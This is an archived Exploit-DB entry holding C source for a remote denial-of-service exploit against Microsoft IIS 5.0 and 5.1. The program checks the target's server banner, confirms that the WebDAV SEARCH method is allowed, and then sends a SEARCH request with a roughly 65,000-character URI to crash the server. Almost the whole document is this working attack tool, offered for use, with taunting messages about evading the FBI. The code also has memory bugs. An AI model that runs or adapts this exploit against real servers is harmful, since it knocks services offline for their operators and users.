Exploit-DB #35
Description: Microsoft IIS 5.0 < 5.1 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-05-31
Author: Shachank

Exploit:
/*

Microsoft IIS versions 5.0 and 5.1 remote denial of service exploit 

that makes use of the vulnerability recently published by SPI dynamics

Published on 31.05.2003

*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32")

void graphitte()

{printf("\n********************************** ");
printf("\n   Webdav MICROSOFT IIS DoS Exploit     * \n");
printf("+++++++++++++++++++++++++++++++*\n");
printf(" by Shachank Pandrey                                *\n");
printf("*************************************\n");

}

char *funk(char tobesent[100],char *host)
{
int s; char got[100]; 

WSADATA wsaData;

struct hostent *yo;
struct sockaddr_in heck;

char lala[100];


if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error starting winsock..");
return 0;
}

if ((yo = gethostbyname(host))==0){
printf("error: can't resolve '%s'",host);
return 0;
}


heck.sin_port = htons(80);
heck.sin_family = AF_INET;
heck.sin_addr = *((struct in_addr *)yo->h_addr);

if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("Error: Unable to create socket");

}


if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
printf("Error: Cudn't Connect\r\n");

}

memset(lala,0,sizeof(lala));

sprintf(lala,"%s",tobesent,sizeof(tobesent));

send(s,lala,strlen(lala),0);
recv(s,got,100,0);

return got;
closesocket(s);
WSACleanup();
printf("done.\n");

}


int main(int argc, char *argv[])
{

WSADATA wsaData;

int s;char mysend[100];
char *gotme;
char trash[100];


struct hostent *yo;
struct sockaddr_in heck;
char buffer[65535] ="";
char myrequest[80000]; 
char content[] =
"<?xml version=\"1.0\"?>\r\n"
"<g:searchrequest xmlns:g=\"DAV:\">\r\n"
"<g:sql>\r\n"
"Select \"DAV:displayname\" from scope()\r\n"
"</g:sql>\r\n"
"</g:searchrequest>\r\n";



graphitte();

if(WSAStartup(0x0101,&wsaData)!=0) {
printf("Error :Cudn't initiate winsock!");
return 0;
}

if(argc<2)

{printf("\nUsage : %s <I.P./Hostname>\n\n",argv[0]);
exit(0);}

if ( (yo = gethostbyname(argv[1]))==0)
{
printf("error: can't resolve '%s'",argv[1]);
return 1;
}

printf("\nChecking web server %s\n",argv[1]);
gotme=(char *)funk("GET / HTTP/1.0\r\n\n",argv[1]);


if (strstr(gotme,"IIS/5.0") == NULL)

{ printf("\n\r----> %s is not running IIS 5.0! adios !\n",argv[1]); } 


else

{ 

printf("\n\r----> Aww rite! IIS 5.0 found on %s !\n",argv[1]);

sprintf(mysend,"SEARCH / HTTP/1.0\r\n\n",40);

gotme=(char *)funk(mysend,argv[1]);

if (strstr(gotme,"HTTP/1.1 411 Length Required") != NULL)

{ printf("\n\r----> METHOD SEARCH ALLOWED\r\n"); } 


else

{

printf("\n----> Method SEARCH not Allowed ! adios...\n");
exit(0);

} 

heck.sin_port = htons(80);
heck.sin_family = AF_INET;
heck.sin_addr = *((struct in_addr *)yo->h_addr);

if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
printf("error: can't create socket");
return 1;
}


if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
printf("Error:Cudn't Connect\r\n");
return 1;
}

buffer[sizeof(buffer)]=0x00;

memset(buffer,'S',sizeof(buffer));
memset(myrequest,0,sizeof(myrequest));
memset(trash,0,sizeof(trash));
sprintf(myrequest,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\
nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]);
sprintf(myrequest,"%s%d\r\n\r\n",myrequest,strlen(content));
printf("\r\nDoSsing the server...<pray>\n");
send(s,myrequest,strlen(myrequest),0);

send(s,content,strlen(content),0);

recv(s,trash,sizeof(trash),0);
if(trash[0]==0x00) 
{
printf("Server is DoSsed! Now run !! F-B-eyee is after j00...\r\n");

} 
else

printf("Server is prolly patched.\r\n");

closesocket(s);


}

WSACleanup();

return 1;
}

// milw0rm.com [2003-05-31]